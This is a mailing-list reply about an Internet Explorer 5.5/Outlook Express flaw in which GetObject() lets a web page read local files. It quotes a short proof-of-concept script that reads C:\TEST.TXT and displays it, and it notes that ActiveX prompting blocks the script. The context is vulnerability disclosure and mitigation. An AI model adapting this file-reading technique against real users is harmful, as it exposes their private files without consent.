Re: IE 5.5/Outlook Express security vulnerability - GetObject() expose user's files

[Fabrice Prémel <fabrice () KESKIYA FR>]

> ------getobject1.html--------------------------------
> <SCRIPT>
> alert("This script reads C:\\TEST.TXT\nYou may need to create it");
> a=GetObject("c:\\test.txt","htmlfile");
> setTimeout("alert(a.body.innerText);",2000);
> </SCRIPT>
> -----------------------------------------------------

Just a quick note : if you have configured explorer so that it asks
you before executing ActiveX, it will prompt you before executing the
above script.
Tested on IE5.0/Win2000.

Fabrice.